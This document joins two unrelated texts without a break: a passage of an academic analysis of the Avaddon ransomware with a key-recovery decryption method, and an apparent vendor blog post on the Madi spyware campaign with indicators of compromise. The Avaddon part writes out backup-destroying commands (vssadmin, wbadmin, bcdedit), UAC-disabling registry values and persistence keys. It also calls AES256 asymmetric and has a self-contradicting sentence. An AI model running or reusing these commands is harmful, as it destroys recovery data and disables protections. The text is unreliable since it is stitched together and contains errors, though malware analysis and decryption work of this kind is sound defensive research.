estimated that cybercrime costs raised up to between 57 and 109 billion dollars in 2016. Cybercrime has been growing for the last decades as it becomes more profitable. The most common goal for cybercriminals is monetary gain, and they commonly organize to form online criminal enterprises and businesses. The virtual battlefield where such criminal activities operate allows miscreants to perpetrate crimes in countries with different extradition laws than those of the country where they reside. This strategy frequently makes cybercrime hard to prosecute, in addition to other technical characteristics that complicate attribution. In recent times, the underground economy has developed a myriad of approaches that allow cybercriminals to acquire high financial profits. With the cybercrime growth and specialization, many cybercriminals offer their products in an “as-a-service” model, where the attacker can purchase the service through the internet with little technical knowledge. These services reduce the entry level for new criminals and motivate newcomers into the underground. In 2017, Panda Security analyzed around 15 million binaries. The most noticeable thing was that, upon reviewing the data collected, they realized that 99.1% of the samples were only seen once, probably due to binary packing and encryption. Indeed, a common digital commodity offered in underground markets is malware. Concretely, one of the most popular variants offered is ransomware, where the attacker denies access to the data of its victims until a ransom is paid (hence the name of the threat). When these attacks affect companies or public organizations, they might provoke business interruptions, thus increasing the economic and social damage. Ransomware operators often partner up with other criminal groups, either in a customer-service relationship (offering the software for a fixed fee or via a subscription-based access to constant updates) or in a profit-sharing scheme (one party is responsible for developing and maintaining the ransomware while the other distributes it, both sharing an arranged percentage of the revenues). Previous works show that criminals can run ransomware campaigns with little technical knowledge, making use of the available services, with an estimated return of investment of between 504% and 12,682%. Due to the profitability and specialization of cybercrime, modern ransomware campaigns have improved their sophistication. First, techniques from well-established cryptography schemes, so-called hybrid cryptosystems, have been recently adopted in ransomware operations, combining symmetric and asymmetric cryptography. Second, modern ransomware perpetrators have incorporated another monetizing technique that further pushes the victims to pay a ransom: data leakage extortion. Apart from encrypting the files, ransomware operators now steal data from the infected systems and threaten the victims to leak it online if no ransom is paid. This extortion scheme was initiated by a threat actor named TWISTED SPIDER in the last quarter of 2019 and was quickly followed by other ransomware groups. In order to face the ransomware threat, and to be able to recover the hijacked files, it is important to understand the criminal ecosystem and also how the malware evolves and operates. In this work, we study a novel ransomware campaign, dubbed Avaddon, which was launched in June 2020 in underground forums as a Ransomware-as-a-Service (RaaS). Since then, Avaddon has been linked to various cyberattacks in 2020 and incorporates a recent trend on ransomware which is to publicly ‘blame and shame’ victims that do not pay the ransom. At the time of this writing, more than 574 GB of data from 23 companies have been leaked and exposed online. In addition, Avaddon operators have recently started to blackmail victims by running DDoS attacks. Existing reports described different technical features of Avaddon. However, as far as the authors know, no public decryption procedure is available to recover files from an infection. We aim at filling this gap by providing an in-depth analysis of Avaddon and proposing a decryption routine that can decrypt files in real time, thus minimizing the impact of such attacks. ## 2. Background and Related Work In this section, we first provide background information about how ransomware works and existing defensive mechanisms. Then, we present the criminal ecosystem behind Avaddon, including its evolution in the underground economy, and how this has been reflected in the wild, leading to real-world cyberattacks. ### 2.1. The Ransomware Threat Ransomware is a type of malware that interrupts the business of the victim or denies access to its data until a ransom is paid, by means of data encryption. This type of malware has direct financial implications and has promoted the growth of cybercrime, where it is employed as a profitable business model. Before the popularization of cryptocurrencies, such as Bitcoin, online payment methods were risky for malware authors. SMS text messages, pre-paid cards or premium rate telephone numbers could be traced back easier than Bitcoin. With the use of Bitcoin or other cryptocurrencies to ask for ransoms, it became much harder to trace the payments sent to criminals. Still, the characteristics of some cryptocurrencies allow for tracking transactions (although not connecting them to the attacker). For instance, Huang et al. were able to track over $16 million in likely ransom payments made by 19,750 potential victims during a two-year period. Thus, criminals have adopted privacy-preserving cryptocurrencies such as Monero that hinder tracking. These cryptocurrencies, in combination with the cybercrime specialization, have promoted the ransomware threats as a profitable business for cybercriminals. Ransomware detection approaches often leverage classical malware detection methods adopted for ransomware-specific behaviors. In this way, ransomware activities can be split into 8 stages: fingerprint, propagate, communicate, map, encrypt, lock, delete and threaten. Kharaz et al. focused the detection on common tasks performed by ransomware, such as changing the desktop wallpaper. Some efforts have also been made to capture cryptography keys at runtime in order to facilitate decryption of infected systems. Following recent trends in malware detection, some Machine Learning-based approaches have also been proposed specifically targeting ransomware detection. ### 2.2. The Ecosystem of Avaddon Avaddon is a ransomware that was offered as an affiliate program on June 2020 in a Russian underground forum, only accessible by invitation or after the payment of a registration fee. Concretely, the operators were looking for partners for their campaign. Additionally, Avaddon was promoted on other underground forums afterwards. Actors that become affiliates are equipped with both the ransomware binary and an administration panel from where they can control their infections. Access to the program is free and constrained only for reputed (and Russian-speaking) actors. In exchange for this, partners have to share part of the obtained revenues from the ransomware to the owners and operators. This share depends on the amount of infections, starting from 35% and decreasing up to 15% for larger volumes. Therefore, affiliates, who are only responsible for distributing and installing the malware on infected systems, gain 65% of the revenues generated by the ransomware, without the need of operating the payment system. Such distribution often relies on botnets hired in a Pay-Per-Install scheme. Additionally, partners can purchase installs on RDP servers, which is another popular product traded in underground economy. Shortly after Avaddon was first seen in the wild, Trend Micro conducted and released a technical analysis. The report offers an overview of the ransomware capabilities and modus operandi. However, no decryption option is mentioned (it only indicates how to remove the ransomware). Regarding the decryption process upon paying the ransom, some stories from affected users state that it is unreliable and recovery is not ensured. Two months after the initial release, in August 2020, Avaddon was updated to incorporate a new trending technique to their features: extortion to victims. Following the model from other ransomware campaigns, Avaddon operators decided to threaten victims to exfiltrate their data, making it publicly available if they do not pay the ransom. By the end of January 2021, Avaddon has allegedly infected and leaked full dump data from 20 companies (totaling 574.46 GB of data) and is extorting other companies which have been recently infected. Finally, in January 2021 (current to the writing of this paper), Avaddon included a new technique used for extortion: attacking their victims with Denial-of-Service Attacks. Therefore, the threat to victims is now three-fold: i) data is first encrypted in the infected systems, so it becomes unavailable, ii) data is leaked publicly if the ransom is not paid, and iii) a DDoS attack is performed to disrupt their businesses until the ransom is paid. At the time of writing, we are not aware of any public decrypting tool for Avaddon. Additionally, various reports and recent complaints from Avaddon victims about their decryption support show that the campaign is still operative. In this paper, we fill this gap and release an open-source tool that automatically detects and decrypts files, which could be integrated in existing Antivirus solutions. ## 3. Ransomware Analysis In this section, we provide an analysis of the Avaddon ransomware, concretely one released as part of their initial advertising campaign in June 2020. We follow standard techniques for malware analysis, concretely static and dynamic analysis. To perform the aforementioned analysis, we utilize popular tools for binary analysis and a virtual machine to run the ransomware safely. We build the virtual environment on top of VirtualBox and install Windows 7 x64 in the virtual system. The analyzed binary is a Portable Executable (PE) file. The PE format describes the structure of executable programs in Windows Operating Systems. PE files are mainly divided into two important pieces: headers and sections. While headers contain information about the program itself and data to be read by the OS in order to correctly load and execute the program, sections contain the actual code and data of the program. Additionally, we see that its size is 1.1 MB, so it is not a large program. Finally, we see that the compilation time field of the binary is set to June 3, 2020, at 11:47:22 (UTC). Although this field is prone to be modified by malware authors in order to confuse analysts, the timestamp is similar to the time of the first appearances of Avaddon samples, which confirms that we are indeed analyzing one of the first versions of Avaddon. We describe the packing protections of the analyzed binary in Section 3.1. Next, we show the imported functions and the extracted strings in Sections 3.2 and 3.3, respectively. In Section 3.4, we show the anti-analysis techniques employed by the binary. Then we show how the process and service manipulation is presented in Section 3.8. Finally, we expose the cryptography mechanisms used in the last two sections, concretely key management and file encryption. ### 3.1. Packing Protections Looking at some properties of the PE file, we conclude that the sample is not packed. First, we find that the PE file contains 4 sections which have almost no differences in size between disk and memory. This is an indicator of the PE file not being packed, since the presence of a virtual section (i.e., a section that requests space in memory but does not occupy bytes in disk) is a common indicator of packing protections. Then, we find over 200 imported functions and several meaningful strings, which present some useful information about the capabilities of the ransomware. Often, packing protections attempt to hide imports and strings in order to difficult analysis. Finally, the entropy levels of the PE file are not high enough to hint the presence of packed or encrypted code. The highest entropy level is reached in the ".text" section, whose entropy value is 6.62. However, this does not confirm the existence of packed or encrypted code, which often have values ranging from a minimum of 6.677 to a maximum of 6.926. ### 3.2. Imported Functions The Windows OS offers an Application Programming Interface (API) which abstracts many functionalities from developers, e.g., to interact with files, processes, etc. This also provides an abstraction layer regarding the underlying hardware. In order to call those functions, programs need to know their location in memory. This need may be fulfilled in different ways, but the most common method consists on importing the required functions prior to execution. This is done by the OS loader before transferring control to the program. To do so, the PE file contains an Import Address Table (IAT) in the headers, which includes a list of functions to be imported by the OS loader. When the file is executed, the OS loads the file in memory and fills the IAT with the addresses of each requested function. Therefore, the IAT provides useful information about the capabilities and intentions of the program. The functions imported by the Avaddon sample analyzed show common capabilities of ransomware, such as encryption (e.g., CryptGenKey or CryptEncrypt), persistence (e.g., RegCreateKeyW, StartServiceW), anti-analysis (e.g., IsDebuggerPresent) or activity control (e.g., DeleteService or TerminateProcess). ### 3.3. Strings Looking for strings through a PE file allows analysts to identify capabilities of the binary, as well as looking at the IAT. Indeed, some imports will appear when searching for strings if they are imported by name (external functions may be imported by name or ordinal). Therefore, we proceed to extract all readable strings that have more than 4 characters in the whole file. Then, we filter the extracted strings and exclude those that are not meaningful (bytes that are part of code may non-intentionally form readable strings that are not meaningful). In this case, as aforementioned, we find enough meaningful strings to think that the PE file is not packed. Many of the strings found were paths to folders or files (e.g., “C:\Temp”). While we initially cannot know the actual purpose of those files, we hypothesize that some of them may be used to drop additional payloads or to move the PE file upon infection (we confirm this hypothesis in Section 3.7). Among the strings that represent in the PE file, we observe two of them that refer to cryptography providers (i.e., “Microsoft Enhanced Cryptographic Provider v1.0” and “Microsoft Enhanced RSA and AES Cryptographic Provider”). These strings are normally used to acquire cryptography contexts using the Windows API, which are later needed to perform some cryptography operations. Additionally, some strings indicate that the ransomware was developed in C++. C++ is an object-oriented language. Although this characteristic does not provide any information about the capabilities of the sample, the particularities of C++ programs must be taken into account in the analysis process. We will highlight some C++ properties that allow us to extract conclusions in the reverse engineering process, but discussing the differences between C++ and other languages at assembly level is out of the scope of this work. Interestingly, we find many strings that are Base64 encoded. However, upon decoding them, no legible string is recovered. Therefore, we suspect that these strings are obfuscated by other means (i.e., encoding or encryption) in order to hide their content. This is a common mechanism in malware samples. In such case, those strings may be of importance to understand additional capabilities of the malware that may not be retrieved without further analysis. We thus confirm that these strings are indeed encrypted and are only decrypted at runtime on demand, i.e., when they are required by the program. First, global variables are created to hold the encrypted strings, making them accessible from every function in the binary. In Algorithm 1, we show one of the functions that creates a global variable pointing to an encrypted string. ### 3.4. Anti-Analysis Techniques Successfully infecting a system critically depends on not being detected. Thus, malware authors often implement different techniques to evade antivirus systems or detection. In the case of Avaddon, the binary is not packed, which is a common obfuscation technique. However, we observe other anti-analysis techniques, described next. String obfuscation. As mentioned in prior sections, various of the strings are encrypted, which may hide important functionality. This technique is commonly used to evade detection and delay analysts. Anti-debugging. We found a call to IsDebuggerPresent at offset 0x42e03d. Debuggers are programs designed to analyze other programs at runtime (i.e., processes), and are used by security analysts to dynamically inspect malware. Hence, malware authors often embed code in their programs that checks for debuggers and, if detected, terminate the process or change their behavior. In particular, IsDebuggerPresent is a function provided by the Windows API. If a debugger was attached to the program, this function would return true and the binary would exit. To circumvent this protection, we consider two options: 1. Hook the call to IsDebuggerPresent so it always returns false. By doing this, we bypass any check done by the malware, changing the code on the fly, and the debugger would not be detected by the sample. 2. Change a binary value in the Process Environment Block (PEB), a data structure that holds information about the process. That structure is built by the OS when executing the program and is unique per process. Among other information, it contains a bit that indicates if a debugger has been attached. Therefore, changing the value in the PEB would successfully hide the debugger from that call and from any manual checks. In order to avoid further anti-debugging mechanisms that may parse the PEB (i.e., not using IsDebuggerPresent), we decided to implement the second option. ### 3.5. Language Checks To avoid infecting systems in some countries, it is frequently observed that malware binaries implement techniques to check the country where the infected machine is located, so as to ensure that citizens from some regions are not affected. It is common to see that CIS victims are dodged in many malware samples, as it is the case for this one. The most popular approach is to check for the keyboard layouts and the OS language. In this sample, we found both checks for different layouts and languages. If any of these keyboard layouts or OS locales is found, the binary exits without harming the landed system. That is, this sample of Avaddon ransomware is designed to avoid infecting Russian and Ukrainian systems. This, together with the fact that the malware was first advertised in a Russian underground forum, provides strong (though not conclusive) evidence that the origin of the malware is Russia. ### 3.6. Privilege Escalation Malware authors often spend great resources in order to infect systems, e.g., to gain initial access and evade detection by AV software. However, having invested so much effort in those tasks, their immediate post-infection activities might fail due to the need for administrator privileges if the user becomes suspicious after being requested to concede those privileges. Therefore, reducing the number of clicks needed from the victim is critical. Indeed, malware actions usually require administrator privileges in the infected system to accomplish some critical tasks (e.g., acquire persistence, infect system files or processes, etc.). In this particular case, escalating privileges is critical because the ransomware needs to i) acquire persistence through registry keys, ii) stop processes and services, and iii) delete backups. The process implemented to elevate privileges in Avaddon is a well-known User Account Control (UAC) bypass. Indeed, there are public open-source implementations and it is not uncommon to find this technique in different malware families. Next, we briefly summarize this process and how it is implemented in Avaddon. First, three registry keys are added or modified. The only purpose of this function is to add the following registry keys: - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA = 0` (disables the “administrator in Admin Approval Mode” user type) - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin = 0` (this option allows the Consent Admin to perform an operation that requires elevation without consent or credentials) - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLinkedConnections = 1` (makes user mapped drives available to the administrator versions of those users) The first two registry key values allow the sample to elevate privileges without alerting the user, and the third enables the access to volumes of the current user when administrator privileges are acquired. Then, the sample checks its privileges. If it has administrator privileges, it continues its execution. ### 3.7. Persistence and Infection Tracking In order to survive across reboots, malware samples must be run automatically on infected systems after the initial foothold has been obtained. Otherwise, they would need to infect the system again if further runs are required. In order to achieve persistence in the system, there exist many approaches. Usually, malware authors acquire persistence by adding registry keys, creating services or registering scheduled tasks. By doing so, the malware sample is automatically run by the OS (e.g., at scheduled times or at every reboot). Additionally, malware samples often implement mechanisms to prevent re-infection of already infected systems, thus minimizing the risks of detection or to prevent disruption of previous runs. By looking at the imported functions, we hypothesize that persistence may be acquired via registry keys or services. Then, using dynamic analysis we confirm that persistence is obtained by adding two registry keys. Upon inspecting the code of the binary, we locate the function responsible for acquiring persistence at address 0x40cf50. The only purpose of this function is to add the following registry keys: - `HKU\S-1-5-21-2724635997-1903860598-4104301868-1000\Software\Microsoft\Windows\CurrentVersion\Run\update: "C:\Users\%UserProfile%\AppData\Roaming\%sample%.exe"` - `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\update: "C:\Users\%UserProfile%\AppData\Roaming\%sample%.exe"` With those registry keys in the system, the PE file is executed at each system reboot (notice that a copy of the sample is dropped at runtime in "C:\Users\%UserProfile%\AppData\Roaming\%sample%.exe", where “%sample%” is the name of the PE file). To avoid re-infecting a system more than once, a mutex is created with the value `{2A0E9C7B-6BE8-4306-9F73-1057003F605B}`. If this mutex is already present in the system, the binary exits and does not encrypt files. In addition, the ransomware takes measures to avoid encrypting already encrypted files, as we describe in Section 3.10. Thus, having mechanisms to prevent re-infection of a machine might be to avoid reinfecting victims that have already paid a ransom. Nevertheless, the fact that the presence of such mutex is checked allows to prevent Avaddon infections. By creating such mutex in a healthy system, Avaddon ransomware samples will not execute, acting as an Avaddon vaccine. However, note every sample of Avaddon uses the same mutex, as it may change among versions. ### 3.8. Process and Service Manipulation In order to avoid being detected or neutralized, some malware samples try to stop anti-malware solutions. In order to do so, administrator privileges must be acquired. However, it is often easier to acquire administrator privileges without being detected than to encrypt the whole file system without raising awareness. In Section 3.2, we highlighted that the PE file imported some functions that may indicate an attempt to control some anti-malware solutions by interacting with services and processes. Additionally, before attempting to encrypt files, it is important to stop processes that may be locking some files. For instance, ransomware authors may look to stop database processes that may be locking database files. In this case, we find two functions that try to stop a list of services and processes, respectively, if found in the system. ### 3.9. Key Generation One of the most critical parts of a ransomware campaign is the encryption process. The keys used, how they are imported or generated, how they are exported, the encryption algorithm chosen, etc., are important decisions for malware developers. An error in this process may allow analysts to develop measures to recover encrypted files, completely neutralizing the campaign revenues. In this case, two keys are used in the encryption process in a so-called hybrid scheme. One key (the session key) is randomly generated in each execution and used to encrypt the files in the system. This key is used in an asymmetric encryption scheme, AES256. Therefore, the same key must be used to decrypt the affected files. The second key is a public one, part of an asymmetric scheme, RSA. This key is imported (it is present in the PE file) and used only to encrypt the previously generated key. Therefore, the session key can only be decrypted by the malware authors, since the private key of the asymmetric scheme is only known by them. The whole process that we described in the previous paragraph is split into three functions in the PE sample. These functions, responsible for key management, are located at offsets 0x413600, 0x413a60 and 0x413f50 respectively. ### 3.10. File Encryption In Section 3.9, we presented the mechanism used to generate the key used to encrypt files. Additionally, we showed that the algorithm used to encrypt files is AES256, an asymmetric encryption scheme. In this section, we will describe the process followed to encrypt files in the infected system. The first step performed by the ransomware is to delete backups so the original files cannot be restored by locally saved security copies. To achieve that goal, the function at 0x41a800 executes the following processes: - `wmic.exe SHADOWCOPY /nointeractive` - `wbadmin DELETE SYSTEMSTATEBACKUP` - `wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest` - `bcdedit.exe /set {default} recoveryenabled No` - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures` - `vssadmin.exe Delete Shadows /All /Quiet` In order to successfully execute those processes, administrator privileges are needed, which were obtained using the procedure that we described in Section 3.6. Finally, the contents of the recycle bin are deleted by calling the Windows API function `SHEmptyRecycleBinW`. Next, files are encrypted following a depth-first search approach. Microsoft SQL and Exchange folders are prioritized, being the first ones to be encrypted. Then, the root path is encrypted (i.e., C:\\*). Finally, shared folders and mapped volumes are enumerated and encrypted (e.g., D:\\*, Y:\\*, or \\VBoxSvr\\shared_folder\\*). Therefore, the order in which folders are encrypted, following a depth-first approach, is the following: 1. `C:\\Program Files\\Microsoft\\Exchange Server\\*` 2. `C:\\Program Files (x86)\\Microsoft\\Exchange Server\\*` 3. `C:\\Program Files\\Microsoft SQL Server\\*` 4. `C:\\Program Files (x86)\\Microsoft SQL Server\\*` 5. `C:\\*` 6. Shared folders and mapped volumes For each file encountered, the process performs three checks before the actual encryption: 1. **Strings from a whitelist**. The path is checked to not contain specific strings. If the absolute path of the file contains one of those strings, the file is left untouched. This check is excluded for the first four folders searched, those that belong to Microsoft SQL and Exchange servers. Therefore, this check is applied only to searches initiated at the root folder (i.e., C:\\*) or shared folders and mapped volumes. 2. **File extensions**. The extension of the file is checked. The extensions that are excluded (not encrypted) are the following: bin, ini, sys, dll, lnk, dat, exe, drv, rdp, prf, swp, mdf, mds and sql. 3. **Prevent re-encryption**. The third test checks if the file has already been encrypted by Avaddon. To do so, a signature at the end of the file (that is left after encrypting a file by the ransomware, as we will describe later in this section) is read. If none of these checks is positive then the file is encrypted. The encryption process is done by the function located at virtual address 0x413bb0. This function receives a copy of the AES256 key and the name of the file to be encrypted. We present a high-level pseudocode extracted from the analyzed function. First, the size needed for the buffer to hold the bytes after encryption is calculated. Then, the file contents are read in chunks of 0x100000 bytes and encrypted in blocks of 0x2000 bytes. However, although there exists a loop to read and encrypt the whole file, only the first 0x100000 bytes are encrypted. This is due to the last call to `SetFilePointerEx`, which sets the file pointer to the end of the file. When there are only 0x2000 or less bytes left to be encrypted, the last chunk of bytes is encrypted and written to the file. Notice that the parameter Final in the call to the encryption routine is always set to False. This parameter should be set to True if the block to encrypt is the last block of the file. We will need to take this detail into account in Section 4. Finally, 512 unused bytes and the signature are written at the end of the file to mark it as encrypted. Here, we show an example of a signature written at the end of an encrypted file and highlight its different fields: ``` 4E4D00000000000000 02 00 00 01 00 00 00 070303010101E202 ``` First, in orange, the original length of the file is written (0x4e4d or 20045 bytes in this case). Then, a hard-coded magic number is written at offset 16 (cian). This value is checked prior to encrypting a file, as we discussed earlier in this section. ## 4. Decryption of Infected Systems In Section 3.9, we described the functions responsible for importing, generating and destroying the cryptographic keys needed by the ransomware. As we pointed out, the key used for encrypting the system was randomly generated. Additionally, it was encrypted using a public key before being exported. Therefore, we are not able to know the key that is generated beforehand or to decrypt it after it has been exported, since we do not have the associated private key needed. However, we also hinted that the function responsible for destroying the cryptographic material was in fact never called if the system was not powered off. This is due to the ransomware process remaining in the background in order to encrypt new files or drives as they are created or connected. Since the keys are not destroyed and the ransomware process does not exit, we are able to recover the generated key. The only requirement is the memory of the ransomware process (i.e., a full dump). If such dump of the process (or the whole system) has been obtained, we may recover the key. This is of paramount importance, since users, upon seeing a ransom note, might be tempted to power off or reboot their systems in order to reestablish their machines, and would lose the opportunity of obtaining the key and thus decrypting the files. In order to recover the key, we leverage the knowledge acquired during the advanced analysis process to identify the structure that points to the desired key. When a key is generated by using the Windows cryptography API (i.e., cryptsp.dll and rsaenh.dll), the key is an object of type HCRYPTKEY, which has the following structure: ```c struct HCRYPTKEY { void* CPGenKey; void* CPDeriveKey; void* CPDestroyKey; void* CPSetKeyParam; void* CPGetKeyParam; void* CPExportKey; void* CPImportKey; void* CPEncrypt; void* CPDecrypt; void* CPDuplicateKey; HCRYPTPROV hCryptProv; void* magic; }; ``` The first 10 fields of the structure point to functions of the Windows API. The eleventh field, hCryptProv, points to the provider of the key and the functions (this provider must be first acquired before the key is generated via CryptAcquireContext or a similar function). Finally, the last field points to another structure. This pointer is XOR-ed with a constant value, 0xE35A172C. Therefore, after XOR-ing the pointer with that magic constant, it points to the following structure: ```c struct magic_s { key_data_s* key_data; }; ``` The key_data_s structure contains three fields whose values are known: - `alg` contains the algorithm ID of the algorithm for which the key has been generated. In this case, the value of this field is 0x00006610, which corresponds to AES256. - `flags` contain the value of the flags parameter passed in the call to CryptGenKey. - `key_size`, as its name hints, contains the size of the key. In this case, the key is 32 bytes long (0x00000020). Finally, the fifth field contains a pointer to the actual key. Since we know the value of 24 of the last 28 bytes that form the structure (skipping the first field), we can search for this 28-byte pattern in the memory of the process. We are thus able to obtain a pointer to the generated key that was used to encrypt the files and finally the key itself. We recall that the only requisite is that the system has not been powered off since it was infected, in order to maintain the key in memory. Now that we have the symmetric key generated by the ransomware, we are able to decrypt the infected files. However, to do so we need to implement the reverse operation than the one performed by the ransomware. To decrypt any given file, we first parse the signature at the end of the file. There, we obtain the original size of the encrypted file. Then, we truncate the file to eliminate both the signature and the block of 512 bytes appended at the end of the file by the ransomware (536 bytes in total, since the signature is 24 bytes in length). Once we have the truncated file, we proceed to decrypt the first 0x100000 bytes in blocks of 8192 (0x2000) bytes. Notice that, as we showed in Algorithm 4, the Final parameter in the CryptEncrypt calls was never set to True. According to the documentation, this parameter should be True when the last block is encrypted. We will need to take this detail into account in Section 4. Finally, if the file was smaller than 0x100000 bytes, we truncate it once again, now to the original size recovered earlier from the signature appended at the end, to remove the padding bytes.
# The Madi Campaign – Part I Authors: GReAT For almost a year, an ongoing campaign to infiltrate computer systems throughout the Middle East has targeted individuals across Iran, Israel, Afghanistan, and others scattered across the globe. Together with our partner, Seculert, we’ve thoroughly investigated this operation and named it the Madi, based on certain strings and handles used by the attackers. The campaign relied on a couple of well-known, simpler attack techniques to deliver the payloads, which reveals a bit about the victims' online awareness. Large amounts of data collection reveal the focus of the campaign on Middle Eastern critical infrastructure engineering firms, government agencies, financial houses, and academia. Individuals within this victim pool and their communications were selected for increased monitoring over extended periods of time. ## The Arrival ### Social engineering schemes to drop and run spyware The Madi attackers rely mostly on social engineering techniques to distribute their spyware. The first of the two social engineering schemes that define spreading activity for this surveillance campaign is the use of attractive images and confusing themes embodied in PowerPoint Slide Shows containing the embedded Madi trojan downloaders. An “Activated Content” PowerPoint effect enables executable content within these spearphish attachments to be run automatically. These embedded trojan downloaders fetch and install the backdoor services and related “housekeeping” data files on the victim system. One example, “Magic_Machine1123.pps”, delivers the embedded executable within a confusing math puzzle PowerPoint Slide Show where the amount of math instructions may overwhelm a viewer. Note that while PowerPoint presents users a dialog that the custom animation and activated content may execute a virus, not everyone pays attention to these warnings or takes them seriously, and just clicks through the dialog, running the malicious dropper. Another PowerPoint Slide Show named Moses_pic1.pps walks the viewer through a series of calm, religious-themed, serene wilderness, and tropical images, confusing the user into running the payload on their system. Some of the downloaders also drop and open documents with Middle Eastern news content and religious themes. ### Social engineering – Right to left override (RTLO) techniques Like many pieces of this puzzle, most of the components are simple in concept, but effective in practice. No extended 0-day research efforts, no security researcher commitments, or big salaries were required. In other words, attacking this set of victims without 0-day in this region works well enough. In addition to the attractive PowerPoint Slide Shows frequently delivered within password-protected zip archives, the attackers sent out executables maintaining misleading file names using the publicly known “Right to Left Override” technique. These file names appear to the user as image files with harmless .jpg extensions, .pdf extensions, or whatever a determined attacker might craft along with the matching file type icons, leading users to believe they can just click on what is not a data file, but an executable file. The issue exists with the way Windows handles Unicode character sets. Madis related incident files included filenames that appeared on victim systems as “picturcs..jpg”, along with a common .jpg icon. But when that Unicode, or UTF-8 based filename is copied to an ANSI file, the name is displayed as “pictu?gpj..scr”. So some Madi victims were tricked into clicking on what they thought was a harmless .jpg, and instead ran the executable “.scr” file. When executed, these PE droppers will attempt to show misleading images or videos, once again, tricking the victim into believing nothing is wrong. ## Finding Presence The backdoors that were delivered to approximately 800 victim systems were all coded in Delphi. This would be expected from more amateur programmers or developers in a rushed project. The executables are packed with a recent version of the legitimate UPX packer such as UPX 3.07. Unfortunately, that technique and quickly shifting code will get the code past some gateway security products. When run, most versions of the dropper create a large volume of files in `c:\documents and settings\Printhood`. Along with `UpdateOffice.exe` or `OfficeDesktop.exe` (and other variations on the Office name), hundreds of mostly empty, housekeeping files are created. Here is a short list of files keeping configuration data: - FIE.dll Filename extension - xdat.dll Last check-in date - BIE.dll Distraction filename extension - SHK.dll Victim directory path prefix (i.e. abamo9 <- this is the operator/handler name for this victim) - nam.dll Domain check-in (i.e. www.maja.in) Also dropped and opened are any one of several distraction images and documents. One of the documents is the Jesus image posted above (dropped as encoded content within `Motahare.txt`), and one of the documents is a copy and paste job of an article at The Daily Beast on electronic warfare in the region, which was dropped as encoded content within `Mahdi.txt`. ### Functionality list The functionality in the backdoor software mirrors the options present in the configuration tool. Notice the nine different options: 1. Keylogging 2. Screenshot capture at specified intervals. 3. Screenshot capture at specified intervals, initiated exclusively by a communications-related event. The event may be that the victim is interacting with webmail, an IM client, or social networking site. These triggering sites include Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, Facebook, and more. 4. Update this backdoor 5. Record audio as .WAV file and save for upload 6. Retrieve any combination of 27 different types of data files 7. Retrieve disk structures 8. Delete and bind (these are not fully implemented yet) The various operations of the backdoor are controlled by Delphi Timers. It’s common behavior for malware to maintain malicious code in their resource section, decompress it on the fly, and drop it to disk. Or, for attackers to modify the icons of their RTLO spearphish. The Madi attackers maintain two copies of ResHacker for distribution on their websites, embedded within files “SSSS.htm” and “RRRR.htm”. They not only created more noise on the wire by instructing their malware to download ResHacker, a well-known resource section editor, but it looks like they have had problems with virus infections on their own networks. Indicators of compromise All known compromised systems are known to communicate over HTTP with one of several web servers, such as: 174.142.57.* (3 servers) and 67.205.106.* (one server). In addition, ICMP PING packets are sent to these servers to check their status. The infostealers are downloaded and executed from the `c:\Documents and Settings\%USER%\Templates` folder. The downloader itself runs from `c:\documents and settings\%USER%\Printhood`, which may contain over 300 files with .PRI, .dll, and .TMP extensions. The infostealers are named “iexplore.exe”, while the downloaders maintained names like `UpdateOffice.exe` or `OfficeDesktop.exe`. At the time of writing, the campaign continues to be in operation and we are working with various organizations to clean up and prevent further infections. Kaspersky products detect the malware as `Trojan.Win32.Madi.*`; some of the older variants are detected as “Trojan.Win32.Upof.*”. ### Related MD5s, not a complete list: 1. 7b7abab9bc4c49743d001cf99737e383 2. a9774d6496e1b09ccb1aeaba3353db7b 3. 885fcebf0549bf0c59a697a7cfff39ad 4. 4be969b977f9793b040c57276a618322 5. ea90ed663c402d34962e7e455b57443d 6. aa6f0456a4c2303f15484bff1f1109a0 7. caf851d9f56e5ee7105350c96fcc04b5 8. 1fe27986d9d06c10e96cee1effc54c68 9. 07740e170fc9cac3dcd692cc9f713dc2 10. 755f19aa99a0ccba7d210e7f79182b09 11. 35b2dfd71f565cfc1b67983439c09f72 12. d9a425eac54d6ca4a46b6a34650d3bf1 13. 67c6fabbb0534090a079ddd487d2ab4b 14. e4eca131cde3fc18ee05c64bcdd90299 15. c71121c007a65fac1c8157e5930d656c 16. a86ce04694a53a30544ca7bb7c3b86cd 17. 7b22fa2f81e9cd14f1912589e0a8d309 18. 061c8eeb7d0d6c3ee751b05484f830b1 19. 3ab9c5962ab673f62823d8b5670f0c07 20. 1c968a80fa2616a4a2822d7589d9a5b4 21. 1593fbb5e69bb516ae32bec6994f1e5d 22. 133f2735e5123d848830423bf77e8c20 23. 01dc62abf112f53a97234f6a1d54bc6f 24. 18002ca6b19c3c841597e611cc9c02d9 25. 046bcf4ea8297cdf8007824a6e061b63 26. 89057fc8fedc7da1f300dd7b2cf53583 27. 461ba43daa62b96b313ff897aa983454 28. d0dd88d60329c1b2d88555113e1ed66d 29. 9c072edfb9afa88aa7a379d73b65f82d 30. b86409e2933cade5bb1d21e4e784a633 31. 3fc8788fd0652e4f930d530262c3d3f3 32. 15416f0033042c7e349246c01d6a43a3 33. f782d10eab3a7ca3c4a73a2f86128aad 34. cfd85a908554e0921b670ac9e3088631 35. abb49a9d81ec2cf8a1fb4d82fb7f1915 36. b2b4d7b5ce7c134df5cb40f4c4d5aa6a 37. 8b01fc1e64316717a6ac94b272a798d4 38. 81b2889bab87ab25a1e1663f10cf7e9e 39. 3702360d1192736020b2a38c5e69263a 40. 8139be1a7c6c643ae64dfe08fa8769ee 41. 331f75a64b80173dc1d4abf0d15458cc 42. 398168f0381ab36791f41fa1444633cc 43. d6f343e2bd295b69c2ce31f6fe369af9 44. f45963376918ed7dc2b96b16af976966 Part II of this blog post will examine the broader picture infrastructure, communications, data collection, and victims.
